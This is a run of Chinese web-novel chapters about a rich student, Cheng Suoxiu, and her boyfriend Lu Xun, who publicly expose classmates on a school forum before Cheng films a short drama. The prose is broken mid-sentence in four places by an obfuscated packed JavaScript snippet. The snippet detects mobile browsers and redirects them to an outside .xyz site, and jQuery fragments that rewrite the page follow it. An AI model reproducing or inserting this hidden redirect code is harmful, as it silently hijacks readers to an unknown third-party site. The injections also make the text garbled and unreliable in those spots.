四个人相互看了看,清瘦的女生还是按下录音笔的暂停键,将它放到程锁锈手心上,虽然她面上仍有鄙夷。 程锁锈掂了掂这东西:“从前我都没把你们这些小老鼠放眼里,现在才发现,原来人和人的差距还是这么大。” “我现在一无所有了还能和陆巡在一起,证明我这个人除了漂亮外还有可取之处,至少不脑残。而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717630|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们四个,不如想一想,要是哪天自己家破产了还敢不敢再踏进南城国际一步?这就是你们和老娘,我,程锁锈,差了十万八千里的原因,一辈子都追不上!” 她很潇洒地走了,穿过走廊,才发现扈嘉怡还在墙边畏畏缩缩地等她。 她纳闷:“你在干什么?” “我……我怕你挨打呀。” 扈嘉怡小声说着,上下打量她,发现她毫发无伤,很是惊奇。 目光又落到她手中攥的东西上,不待她问,程锁锈摊开来给她看:“录音笔。” “噢!” 这藏不住事的小女孩又差把“崇拜”二字直接写脸上了。 她跟程锁锈一起走,程锁锈将录音笔在手里转飞快,问:“那如果我在里面挨了打,你怎么办?” “那我肯定不能让你挨打呀!”扈嘉怡急道,“我要是听见动静不对,一定会第一时间打电话叫人的,我又不傻。” 观察到程锁锈面色复杂,她不解:“怎么了?” “没。” 程锁锈心想,若自己真挨上揍,待她打电话摇来人,自己会不会已是鼻青脸肿。 不过那四人真不一定能打过她,看着都有点呆。 “对了,给我写一份那四个人的名单。”临分别前,她说,“我都不知道他们叫什么,不好下手。” * 晚上放学,程锁锈将录音笔与一张纸递给陆巡,扈嘉怡那张纸写得像小学生作文,连四个人和谁玩得好、前任是谁、有过什么瓜都一一列举,陆巡点评道:“扈家邑这妹妹还是有点潜力的。” 程锁锈略表赞同。 陆巡拿起录音笔,看了看,按下播放键,声音从他们昨晚吃饭时的对话继续,不用程锁锈多说,他也明白是怎么回事,忽然笑了:“真可怕,以后我家里是不是得安上防窃听装置?” 程锁锈一耸肩,换衣服去了。 第二天是周三,学校里风平浪静。 但程锁锈知道学校里的某四个人在这天分外煎熬,因为他们了解,凭她与陆巡以往的脾性,对这种事绝不会善罢甘休。 可提心吊胆到快放学,无事发生,他们不免又开始躁动:陆巡不会也出了什么事吧? 不然他为什么依然在南城,却突然不来上学了? 偏偏有不知情的人在论坛上发布条帖子:【听说高二级部有一起录音笔事件?结果如何?→.→】 很多回帖表示连录音笔事件都没有听说,但闻到浓浓瓜味,便蜂拥而来,越打听不出越好奇,直到一个主页一片空白的新ID出现:【只能说,确实是被包了。】 【包了?什么意思?】 【好像明白了,不会是和那位有关……】 【你们的意思是,高二级部有人用录音笔窃听了那位的隐私???】 【重点是结果吧?】 【重点明明是过程啊!!!这太过分了吧?也太丧心病狂了!】 …… 程锁锈点开那主页空白的ID,看了又看,开始琢磨是那四位中谁借的小号。 晚上回了家,陆巡和她说:“我明天去上学吧。” 她吃惊地看着他。 他说:“明天或许会比较热闹。” 11. 热闹 * 两辆埃尔法一前一后地停在南城国际校门口,与其他来送学生的保姆车无异,但陆巡、程锁锈、扈家邑和扈嘉怡分别从两辆车上下来后,扈家邑推着陆巡的轮椅进学校大门,程锁锈在一旁走,双手向后扎着头发,嘴里叼着片吐司,扈嘉怡跟在她身边,周围尚处于困顿中的学生瞬间清醒,纷纷行注目礼。 【这太震撼了……】早自习的学校论坛空前火爆。 【是的,看到那一幕我以为自己早上没睡醒,在梦游。】 【LX和CSX复合了?什么时候的事?】 【LX为什么坐轮椅?他哪儿受伤了?】 【盲猜是之前骑车受伤了没有好……原来一直没上学是因为这个。】 【那他以后都要来上学了么?】 【盲猜和HJY一号一样三天两头。】 【不对不对,你们忘了昨天有人提到的录音笔事件吗?既然CSX和LX已经和好,那么策划者从录音笔里听到的就应该是LX的声音啊……怎么这么胆大包天,还敢用小号在论坛上说CSX确实被包养了?】 【没听出来?】 【那太搞笑了……】 【那我好像知道LX为什么回来上学了。[坏笑]】 【所以到底是哪位天才干出的录音笔事件?CSX哪怕家里破产了也罪不至此吧……】 有人实在耐不住好奇,想从扈嘉怡身上突破。 但扈嘉怡这天的状态非常反常,无论谁搭话都不大理睬,一副心事重重的样子。 上午大课间,她溜进器材室,将门反锁,登上闺蜜的账号,将前一晚她哥发给她的、她又梳理好的各种信息在论坛上正式发布。 中午她到高三级部,进了陆巡的班级,她哥和程锁锈已经在里面了。 桌上摆着丰盛的外卖,再没有其他人,她小心翼翼地合上门,他们都在欣赏此时论坛上的盛况,好像检阅她作业似的。 首先是那位比较矮胖的男生——刘茂帆。 家里经营高尔夫球场的,有位亲姐,一看就是被惯坏了,横行霸道成日常,因为家里有钱,在社会上也没被人治过,所以进了学校后依然自我感觉良好,想折腾出点名声,可惜费尽力气也不过现在这样。 论坛上有他骚扰各种女生的聊天记录,他似乎还要点脸面,被骚扰的女生以其他学校的居多。但每次女生显露出反感,他就装作开玩笑,说人家玩不起。聊天记录多了,帖在一起才看出他是个惯犯。 还有他初中时的瓜——他不仅和朋友议论他家球场的漂亮女员工,语言相当龌龊,聊天记录中还透露出他采取过行动,那些女员工们不堪其扰,离职了好几个,他说没事儿,继续在来应聘的里面挑。 第二位是那名高高瘦瘦的女生——王清越。 论坛上发出她专门用来擦边的抖音和ins账号,她话里话外都表示,有意愿的男生如果合她眼缘,可以添加她私人联系方式。 其次也是些聊天记录,是她和很多其他学校的男生的,而那些男生大多有女朋友,甚至还用着情头,但她沉浸在个人魅力的输出中,也不知道那些男生最后会把她删了还是真劈了腿。 仿佛将鱼食洒进鱼池,激起论坛中空前绝后的疯狂。 【我愿称今天为论坛的春节——过年了!】 【好好好,录音笔事件的肇事者已经非常明显,不过没记错的话,他们不是经常四个人一起行动么?那是不是还有两位……】 【这和等着被行刑有什么区别?】 【我说不愧是南城国际永远的神,这得什么人脉才能扒成这样?】 【不敢惹不敢惹。】 【放录音笔确实太缺德,已经是可以报警的程度了。也算是以其人之道还治其人之身,活几把该。】 【早就想控诉这死胖子了……他到底知不知道他每次盯着女生看、和那个脸上坑坑洼洼的男生议论的样子有多恶心!有一次还在女厕所门口徘徊,真是无语,到底有没有一点廉耻之心?猥,琐,男!】 【完了,我兄弟还暗恋WQY呢……多清纯一小姑娘啊,这人前人后还两副面孔,不说了,晚上请我兄弟喝一杯。】 【不是吧,清纯?你看她能和另外三个人混在一起,包不是好人的。】 【节哀。[点蜡]】 【那另外两个人呢?是没有参与吗?】 下午程锁锈收到王清越的好友申请,直接拉黑。 大课间,她、扈嘉怡还有扈嘉怡叫来的一群小学妹在学校后面的小操场上看陆巡和扈家邑打篮球。 卧槽他竟然能打篮球?——她和扈嘉怡当时都挺震惊的,只是他的左腿不那么灵活罢了。 扈家邑当然会让他两分,保持着不相上下的局面。 扈嘉怡带来的那群小学妹更会玩。 南城国际的二巨头——陆巡和扈家邑一起来上学,还在这不为人知的一隅打篮球,她们能被扈嘉怡带过来看,讨论的声音便呱呱不休,然后商量着分成了两组啦啦队,较劲哪一边的加油声更大,让气氛热火朝天,程锁锈在一旁抱着臂微笑观看。 阳光晃得周围的植物郁郁葱葱,发亮,风一吹便形成一阵巨大的绿浪,让人目眩神晕。 只有在学校才能享受这可以不用担心一切的懒散,可以尽情地撒野。 一坨黄色颜料般的小点在程锁锈视线中出现,然后慢慢地靠近,靠近…… 那个黄毛女生迟疑地看了眼球场上的热闹,在要到程锁锈面前时被扈嘉怡给拦住:“喂!徐钰,干嘛?” “我……”徐钰看了看她,又隔着她看了看程锁锈,很是无奈,看上去确实可怜,程锁锈觉得她要是想尝试去演短剧也未尝不可,“其实我们都知道是怎么回事,不是吗?我就是想来道个歉。” “嘿,我怎么记得你昨天可不是这样的。” 扈嘉怡说这话时茶里茶气,别说还真有点可爱,程锁锈在她身后忍了忍笑。 “还是免了。”扈嘉怡说,“自去年入学以来,你在论坛上议论我们的话还少吗?当然,你蛐蛐别人的话更多,你这半年来最密集的输出对象好像是比较出风头的——赖圣怡学姐。” “你说她剪了短发之后显得很刻薄,特别丑。” “你说她做的指甲特别土,毫无审美。” “你说她新谈的那个男朋友像猴。” “……” “好像但凡谁有点特别的地方,就碍了你眼,好像你通过抨击这些就能比别人更优越。” “敢作敢当,昨天在论坛,那个借空白账号回应程锁锈确实被包养的人不是你吗?要不是锈锈姐姐已经和陆巡哥哥和好,陆巡哥哥又来上学,真是一百张嘴都说不清,你到底怎么好意思来的?” “与其说道歉,不如说是这才知道害怕了,对不对?其实你根本就不知悔改。” 扈嘉怡的魔法攻击一句接一句。 徐钰灰溜溜走了。 程锁锈拍了拍手,很惊奇地看向扈嘉怡:“真看不出来啊,你这么猛。” * 周五的新瓜帖子出炉:【ID“清水蝴蝶”是高二级部的徐钰。】 帖子里有她曾经各种言论的截图。因为在意识到自己论坛掉马、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717631|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程锁锈等人要做什么后,她就将她在论坛上留下的各种痕迹给删除了。 也不知删了多久,挺辛苦的。 【哦嗬这就继续了?】 【牛牛牛,一句话信息量好大,直接上大名了这是。】 【主页已经什么都没有了,这等于正主变相承认?】 【幸亏帖主提前存档,否则真没有证据她以前说过什么。不过这算是无差别攻击吗……谁都骂,嘴好臭。】 【原来是她啊!这清水蝴蝶在论坛上真不是一般活跃,处处开帖子挖苦人,我以为这么刻薄肯定是高二哪位生活不顺的小透明,总在阴沟里盯着别人看,竟然是徐钰?她每天到底哪来的这么多戾气?】 一上午又热闹极了,众人回味着徐钰曾经的各种言论,纷纷表示:大佬回学校了就是不一样,把一切给搅个天翻地覆轻轻松松。 下午程锁锈看到扈嘉怡给自己发的消息,她非常兴奋地给她转述高二级部刚发生的事:赖圣怡直接去徐钰的班级找她,把她给带走了,至于具体发生了什么,不得而知。 程锁锈心想:我们大圣还是有点实力的,至少不吃素。 * 周六他们去HiDay网红酒吧玩,是非常经典的地下夜店风。 陆巡终于不懒洋洋地坐他那轮椅了,与程锁锈、扈家兄妹一同慢慢地走,一起被邀请来玩的还有赖圣怡和她对象、三位共友。 密闭的空间内音乐炸裂,烟雾缭绕,粉蓝色刺眼的灯带随节拍而一闪一闪。 心脏被这样强烈地震荡久了,人渐渐头晕目眩,很容易失去理智,做出什么倒挺符合这场景的刺激的事。 陆巡慢慢地走到最前面,目标明确。 “先生,给您预留的卡座是H1哦,在这边。” 没顾服务员甜美的指引,他来到一靠边角、不算很大的卡座旁,沙发上正坐着四人,是两男两女的组合。 但男生和男生坐在一起,女生和女生坐在一起,彼此看起来还不大熟,预备在这暧昧的场合中升温试探。 他摆了摆手,示意两名女生先让一下,以免一会儿被波及。 两名女生愣住,赖圣怡和扈嘉怡一同上前,很温柔地将她们挽起,带到一旁,而沙发上剩下一直面陆巡的男生——长得很高很壮,面部橘子皮,也是名单上的最后一位,名叫“赵哲凯”,对陆巡怒目而视:“你想干什么你?” 但不难看出眼里有恐惧。 “起来。”陆巡对他勾了勾手,“你应该知道我来干什么。” 赵哲凯忽然笑了,挽着袖子起身,露出横肉:“你要和我打架?” 他当然认为陆巡打不过他。 他站起来后像头熊,很威风地来到陆巡面前,大概以为陆巡要带他去外面空旷的地方,正式开个战之类,还打算叫上女伴们一起去观摩。 但陆巡直接一拳正中他面部,程锁锈甚至听到骨头扭曲的脆响,或许是鼻梁骨吧?她不禁摸了摸自己的鼻子。 下一秒鲜血狂飙,赵哲凯捂住鼻子往后仰,面容扭曲到无以复加。陆巡有点好笑地问:“你以为我要怎么和你打?” 腿受伤之后,他练得最多的就是拳,请的都是职业教练,家里被打烂的沙袋好几个。 又丢下句话:“下次好奇别人隐私的时候,先想想自己泡妹的时候愿不愿意被打扰。” 赵哲凯被同伴扶住,同行的两名女生早偷偷溜走,扈家邑拍拍他肩膀:“来的时候就已经把救护车给你叫好了,不用谢,再忍一会儿。” 赖圣怡过来挽上程锁锈手臂:“走吧锈锈宝宝,我们去H1。” 12. 带资进组 女主 or H1是HiDay酒吧处于正中间的最大的一个卡座,在过去路上,程锁锈听赖圣怡说:“锈锈宝宝,你以后真打算进军演艺圈?我肯定全力支持!有陆老板捧你也指定行。” “对了,我家不是做珠宝的吗?到时候你随便挑。我家珠宝可和那些普通货不一样,你亲眼比对过就知道,我家的高级珠宝都是有火彩的,肉眼看着像一串串彩色的灯泡,毫不夸张,你戴上肯定能艳压群星。” 程锁锈笑。 一行人在H1坐定,喝着酒,半醉后跟侍者要了副游戏牌,熟悉的场面便开始了。 时不时随节拍而亮起的紫色灯光照亮一圈人面庞,每一秒的神态都有所不同,像定格住每一帧很抓马的瞬间。 程锁锈懒洋洋歪倒在陆巡身上,看着这些青春的、熟悉的朋友,在陆巡出事后,在她家发生变故后,她从未想过有一天他们还能重新聚集在这里,往日重现。 扈嘉怡抽到张惩罚牌,要和赖圣怡的男朋友双手交叠、深情对视10秒。 全场人尖叫,连赖圣怡都没有反对,扈家邑却说:“我替她。” 赖圣怡直接站到沙发上指着他骂:“扈家邑!我说你这个人可真是玩不起!我看不起你!我都还没说什么,那可是我男朋友欸,愿赌服输,你这不是作弊吗?” 扈家邑无甚所谓地接受着这番洗礼,只是她话锋一转:“那我来替我男朋友。” 扈家邑:? 在众人的起哄中,在一圈圈怼过去的手机镜头中,他与赖圣怡十指相扣,在“10、9、8……”的倒数中“深情”对视,程锁锈一歪头,跟陆巡评价道:“真辣眼睛。这要是发到学校论坛上,上面估计会比前两天热闹一百倍。” 没一会儿又是扈嘉怡。 她抽到要和陆巡深情舌吻的牌。 她哥想刀她的眼神已经藏不住了。 她没忍住雀跃的那一瞬间也没藏住。 她哥托着脸看她:“扈嘉怡,你是不是有病?” 扈嘉怡不敢相信会被自己亲哥这样骂,手握那张牌,又捂住心口,一脸委屈:“你怎么能这样说我?难道我能控制得了自己抽到什么牌吗?这只能说明我桃花运旺,而不像你,这么寡……” 她哥十分无语,别过脸,对眼下的情况选择摆烂。 但扈嘉怡笑眯眯地向程锁锈递出那张牌:“锈锈姐姐,还是你来吧。” “我来?” 程锁锈一指自己,她点头。 下一秒,程锁锈俯下身,假意在她的唇上一点,两人嘴唇间距离不过1毫米。 除她们两人之外,其他人都以为她们两个亲上了。那一刻,连酒吧的音乐都恰到好处地空白一拍,一如所有目睹者心跳的空白。 如果这时有一台相机,定格下每个人表情,那么会发现几张脸都如出一辙地睁大着眼睛、张大着嘴巴,包括扈嘉怡本人。陆巡在程锁锈身后亦有些惊讶。 震耳欲聋、极度激昂的鼓点爆发,程锁锈一抹嘴,转过身来搂住陆巡的后颈,舌头探进他口中,他熟练接住,他们在所有人迟钝一秒的欢呼与尖叫中绵长地深吻。 * “停!就在这里吧。” 程锁锈瞥了眼导航,示意陆巡将车停在距目的地的两个路口外。 她今天要去试镜短剧的女主,不想陆巡将这辆银色兰博直接开到大楼下,太张扬,可这已经是他停车场里最不张扬的一辆车了。 本想坐保姆车,又觉得不对,好像还没试镜成功就已经当上了女明星。 走在微冷的秋风中,路两旁深绿泛黄的梧桐叶作舞,她穿着件白色黑边的连衣短裙,现买的,因为她实在没什么低调的衣服。又是素颜,戴了副黑框眼镜,扎马尾。这一切都是为了符合这短剧女主的人设——暗恋男主的漂亮自卑学生妹。 这部短剧叫《青梅》,改编自热度不错的同名网络小说,讲校园爱情故事。 男主家境优渥,学习成绩优异,但女主家庭贫困,因此即使很漂亮也不擅长打扮,在发现自己对男主萌生情愫后感到自卑,便一直处在这样的矛盾心绪中,暗中观察男主,小心试探,又被同样喜欢男主的女二发现、欺负,但最终成功吸引到男主注意,两人双向奔赴,开启了一段甜掉牙的校园恋爱…… 挺常规的剧情设定。 因为是陆巡朋友投资的项目,整个拍摄流程都在南城。 乘电梯至大厦的指定楼层,来试镜女主的演员有十来个,程锁锈扫视一圈,看起来对自己的威胁都不大。 除了一个模样漂亮的,已经有了点小明星的架子和气场,还带了位助理。 似乎是一山不容二虎,感受到某种危险气息,那女生时不时扫她一眼。 她们一个个被叫进房间,在女导演尤唤之及其他几人的审视下,表演一段女主向男主袒露心迹的情节。 程锁锈游刃有余,毕竟她表演老师张椿意的专业素养摆在那儿,尤唤之看后评价:“这或许是我见过最无可挑剔的表演了,很自然,每个细节都处理得特别棒……简直不敢相信你才18岁,也没有过表演经历?” “我上过三年表演课。” 尤唤之点头:“但你的长相反而是我一直顾虑的点,这个问题我也和其他人讨论过。见到你本人后,我感觉你身上的攻击性比照片和视频里的都更为强烈,这样的五官简直可以说是勾魂摄魄,尽管你已经是素颜来试镜了,但还是……” 几人相互看一眼,中年男性制片人笑道:“但她是最用心的一个。瞧,她的造型,好像已经变成我们的女主角了。” 程锁锈接道:“我可以去烫自然卷,这样或许会显得……更卑微些。” 没几天,在接到正式通知前,陆巡先接到他朋友电话,程锁锈在一旁听,他朋友笑呵呵说:“陆总,先提前恭喜你女朋友啊,导演等人对她的评价都很高,这女主基本定了。不过话说回来,你这是金屋藏娇么?这么牛逼的女朋友才舍得送出来崭露头角?拿我投资的短剧试水,倒也是我的荣幸。” “你少拍马屁。”陆巡这么冷冷一说,嘴角却勾着,看程锁锈一眼,程锁锈很傲娇地一仰头,做出小菜一碟的模样。 “不过有件事,我得和你说一下,你女朋友在不在你身边?” 陆巡看程锁锈第二眼:“不在。” “哦,好,其实也不是什么大事。”他说,“这剧的男主一开始就定了,是个有点名气的网红,偶尔拍短剧,叫‘刘川枫’,当然不是真名,他当网红的名。” 他笑了下,继续说:“然后有个挺青睐他的短剧女演员,叫‘关唯’,和他合作过两三次了,这次也来试镜女主。一开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717632|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始本打算内定她做女主,但半路杀出个程咬金,导演等人现在都更认可你女朋友,这人就退而求其次演女二。不过她和导演争取过,说你女朋友她见过,气质更适合当女二,闹腾了挺久,最后还是按照原计划没变,你女朋友演女主。” “这么说来,她岂不是更适合当女二?”电话挂上后,程锁锈说,“喜欢男主,但看女主不顺眼,她可以直接代入了。” 陆巡一笑置之,不认为这事值得放心上,程锁锈却转念一想:“或者你觉得,我去演女二会不会更合适?他们都这么说。” 陆巡想也不想:“女二的戏份少、人设单薄,给你发挥的空间不大,我不觉得好。” “那我老公不看好我也不看好。” 程锁锈嘴贫,说完飞快地瞄他一眼。 好家伙,一点反应都没有,真是个装男。 * 快到十一假期,程锁锈再也没有了往年的潇洒,她突然觉得自己的人生很神奇,在成人的这一年里总是说变就变了。 她和张椿意提前请好假,上了拍摄《青梅》前的最后一节表演课。 张椿意拿着剧本看了又看,对于她第一部荧幕作品是短剧这回事儿没发表什么评论,但程锁锈看得出她不太看得上这剧本,纯纯赚点小快钱的商业产物。而后张椿意针对《青梅》给她授了课。 十一假期的前一天,她请了学校下午的假,去当时试镜的大厦参加剧本围读会。制片人、导演、编剧与其他演员都会列席。 她到得较早,男主演是开始前五分钟到的,给大家都买了咖啡。 见到男主演本人,她非常理解了他“刘川枫”的名字,因为他实在太像《樱木花道》里的流川枫了:一头蓬松的黑色长发,刘海齐眉,肤白,一身标准的肌肉块,二十岁左右年龄,青春气息与运动感十足,不用过多修饰就是标准的校园剧男主,怪不得内定。 因为陆巡朋友的那通电话,程锁锈做了点功课,挺多短剧粉都在嗑刘川枫和关唯的cp,毕竟两人合作过几次,颜值也匹配,据说经常有人在私下里撞见他们两和一些朋友聚会玩耍。 关唯在原定时间的后几分钟姗姗来迟。 果然是试镜时带了助理的那位。 “好巧,我也买了咖啡。”她说着,扬起手。 众人看去,她手中提的咖啡和刘川枫带来的一模一样,无论牌子、种类还是数量。 程锁锈心里好笑。 “川枫也给我们带了,真是谢谢你们两个啊。”尤唤之招呼她坐下,“你们两个还是这么心有灵犀。” “那就委屈大家喝两杯一样的咖啡咯。”关唯语言俏皮,逗得一屋子人哈哈大笑。 在正式开始读剧本前,尤唤之问:“大家都听说消息了吧?” “什么?”关唯眨眨眼,“尤导指的是,我们这次的拍摄周期延长为半个月的事?” “是的。”尤唤之笑眯了一双小眼睛,心情大好,“这次我们拉了笔大投资,资金非常充裕,所以不必按照原定的计划一个周匆匆拍完,很多地方都可以认真打磨,大家也可以得到充分的休息,好好发挥演技。嗯,总而言之,一定是一次不一样的体验,大家好好准备吧。” 几乎所有人都看向程锁锈。 仿佛她脸上写着大大的四个字——带资进组。 13. 恶人 但这毕竟是一件好事不是吗? 刘川枫笑着开口:“尤导,你这样说都激发得我事业心爆棚,不得不拿出百分之二百认真来对待这部剧了。” 尤唤之好笑:“就应该这样啊!热血起来吧,少年!那我们开始读剧本。” 一众人各抒己见,到关唯所饰演的女二欺负女主的部分,她念完台词后说:“尤导,我觉得这里光说几句话太单薄了。根据我对彦菲这个角色的理解,她在学校里有自己的小团体,横行霸道,这时发现女主在暗戳戳地向自己喜欢的人表明心意,女主在学校里又很卑微,可长得漂亮,也会让女二产生妒忌,现在女二带自己的小团体将女主堵在无人的角落,我觉得女二应该将女主羞辱得更过分些才是,甚至有类似抓女主头发的动作,以示警告,就这么几句话带过实在太轻飘了。” 尤唤之看着剧本,点点头,做了个标记:“我回去和秦编商量一下。” 又抬头问:“锁锈,你觉得呢?” 程锁锈点头:“我觉得关唯说得很有道理。” 关唯看她一眼,笑笑。 剧本围读一直到晚上七点,出大厦时天黑透了。可一幢幢高楼闪耀起华光,璀璨而奢靡,让这座城市的夜晚比白日里更加迷人,仿佛酣睡了一天的美人在夜晚褪下白色衬衫,换上了晶黑闪耀的露背鱼尾裙,施施然登场。 程锁锈坐上陆巡的银色大牛离去。 关唯和刘川枫并排在路边等车,关唯望着那抹银消失的方向,倒没看清开车的人是谁,或许是程锁锈家的司机吧,她提包的手攥得很使劲:“我讨厌有钱人,非常讨厌!” 刘川枫只是微笑,一贯温和。 关唯收回目光:“不知道她演技怎么样,真希望别拖我们后腿。” * 十一假期,《青梅》举行了一场简单的开机仪式后开始拍摄。他们包下了一座环境不错、建设年代较近的中学,趁学生放假拍摄校园场景戏。 第一天从开机仪式起,陆巡就在。 按说关唯第一天没有通告,上午参加完开机仪式就可以离开,但她来到尤唤之身边,通过监视器看程锁锈和刘川枫拍戏。 重点当然在前者。 但她注意力实在无法从尤唤之另一边的陆巡身上离开,目光不禁频频扫过去,但见这男生和程锁锈差不多年龄,真是年轻,可不知道为什么坐着轮椅,也不见下半身哪里少一块。 早上她就注意到他和程锁锈从同一辆保姆车上下来,又有一位西装革履、三十岁左右的男人专门负责给他推轮椅,那男人看起来十分体面,顿时衬得穿休闲装、在轮椅上神情懒倦的他像位大佬,此时还这么自然地在这里看监视器,身份顿时让人捉摸不透。 尤唤之一句情绪昂扬的“这条过了”将关唯的注意力拉回。 她心里惊愕:这么快?第一条才开始拍摄没多久吧? 尤唤之继续对现场称赞:“很棒,非常棒,大家都是非常有经……非常优秀的演员了,没想到我们今天的开头这么顺利,继续保持啊!” 接下来补拍其他角度的镜头,需要点时间准备,关唯于心里懊恼刚才忘记了正事,眼下也是闲着,干脆向另一边的陆巡搭话:“你是程锁锈的男朋友吗?” 那边的陆巡看她一眼。 她这才瞧清他正脸,一滞。 怎么说呢?现在让他去场上拍一段戏都不会有违和感。 陆巡却反问:“你觉得我是还是不是?” 关唯笑笑,她是个聪明人,知道这问题涉及了个人隐私,眼前人不愿意透露很正常,可她实在太好奇了。 接下来通过监视器看程锁锈表演,那神情与姿态都游刃有余,仿佛被书里的女主角给附了身,真见鬼。 关唯看着她被造型师故意做蓬松的头发,听说是她主动提出的烫自然卷,以来突出女主比较卑微的形象。虽然考虑到尊重原著,不能这么设计,但导演还是从中汲取灵感,将她发质给做得粗糙,以来压制那张太过张扬的脸,同时体现出女主的家境,效果果真不错。 关唯又想到之前打探的消息,说程锁锈已经学了三年表演。她很惊讶,她去哪儿学的?这是从高一就开始学了?也没问出个所以然,似乎是上的私课,而且程锁锈在鼎鼎有名的南城国际读书。 他们这些人,和那些国际学校里的人都是有壁的。 愈加不服气,到中午休息时间,陆巡去找程锁锈,她跟上去问:“我就是好奇,我听说你女朋友学了三年表演,你们又这么有实力,第一部荧幕作品怎么会选择这部小短剧?” “没什么特别的原因,”陆巡瞥她一眼,“机缘巧合罢了。” “啊?” 丈二和尚摸不着头脑,她干脆去找刘川枫。 陆巡和程锁锈在一块,关唯和刘川枫在一起,两对人之间隔着十余米距离。 现在是午饭时间,基本人手一份盒饭,刘川枫又给剧组里的人买了饮料,听说他拍短剧纯属爱好,他在抖音上有二百多万粉丝,那才是主业,赚钱如流水。 当然所谓的流水和陆巡这样的不能比,简直小巫见大巫。 陆巡也给现场的每个人带了份沙拉,家里厨师现做的,请了阿姨们帮忙打包。里面成片的法国黑松露跟不要钱似的,处处点缀着鱼子,又加入无花果、芝麻菜、布拉塔奶酪、烤核桃碎等,口味一绝。 其实就是给程锁锈准备的,但不能那么小气地只给程锁锈准备,于是人人有份。 关唯时不时瞥过去一眼,观察程锁锈与陆巡二人之间的互动。 虽然他们从始至终没什么亲密举动,让人拿不住把柄,但两人在一起的状态极度放松,可以说是不拘小节。关唯凭丰富的经验判断,他们两绝不是普通关系,至少,睡过。 心里一颗石头落下。 好险,在见到陆巡本人前,她还以为程锁锈是什么带资进组、执念要演女一号的刘川枫狂热粉,不然他们为什么突然瞄上这小短剧? 或许真如陆巡所说,是机缘巧合,大佬的投资眼光她不懂。 程锁锈吃着沙拉,也时不时瞥过去一眼,观察关唯与刘川枫二人。 根据她的经验,这两人没谈。 心里一颗石头也落下。 不然总好像她是个没眼力见却手眼通天的恶人,故意拆散人家小情侣似的。 确认好这点,她不再东张西望,和陆巡有一搭没一搭聊天。 却没注意到,刘川枫吃完饭后手握着瓶饮料,闲闲的,反而毫不避讳地频频往她这里瞧。 陆巡倒发现了,一手撑着脸,直勾勾地冷冷地盯着那男人,刘川枫却把他当空气人,只看程锁锈。 “喂,你老看什么呢?”关唯抬头看刘川枫。 实际知道他在看谁,她也观察他有一阵了。只是发现他目光并不鬼迷心窍,不是那种典型被女人给迷晕的表现,而是理智坦荡的欣赏,她才发问。 刘川枫闻声看回她:“你刚才有没有在尤导那儿看监视器?” “看了。” “我就是觉得有点惊讶。”他笑,眼里果然是纯直男式的感情流露,无半丝杂念,“她才18岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717633|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没有过任何影视作品,演技竟然这么专业这么好。” “是是是,毕竟人家上了三年的专业私教课。”关唯翻个白眼,“不过你认为她演技比我好?” “那肯定比你好啊!” 关唯给了他一脚,两人笑成一团。 之后陆巡每天来剧组待半天时间,他问程锁锈要不要招个小助理,程锁锈想了想:“现在还为时太早吧。” 陆巡说:“关唯那样的都有助理。” 程锁锈沉默片刻,笑着给了他一拳:“陆巡,你真缺德。” 后几天拍到男女主比较亲密的戏份,刘川枫和程锁锈之间的对话与互动多起来,程锁锈却难得感到吃力。 或许扮演一个人不难,表演喜欢一个人也不难,但第一次和一个活生生、却并不是陆巡的异性演谈恋爱,太难。哪怕表面上让人挑不出错处,但就是不是那个味道。 尤唤之也没想到她短板在这里,让她找一找感觉。 陆巡了解了这个情况,当然知道问题出在哪儿,之后再不来剧组探班了。 但从手底下一家公司找了个小女生来给程锁锈当助理,也就是拿拿衣服递递水,每天的沙拉照送。 刘川枫一有时间就和程锁锈对剧本,效果好点儿,但没那么好。 尤唤之已经将所有必须在校园内拍摄、与他们两感情戏无关的内容往前提了,在校内的拍摄时间仅剩最后两天。 倒数第三天,刘川枫说,“程同学,”这是他给她起的称呼,因为她年龄小,“我听说你已经上了三年表演课,也见识了你的业务能力,所以问题肯定不出在这儿。” 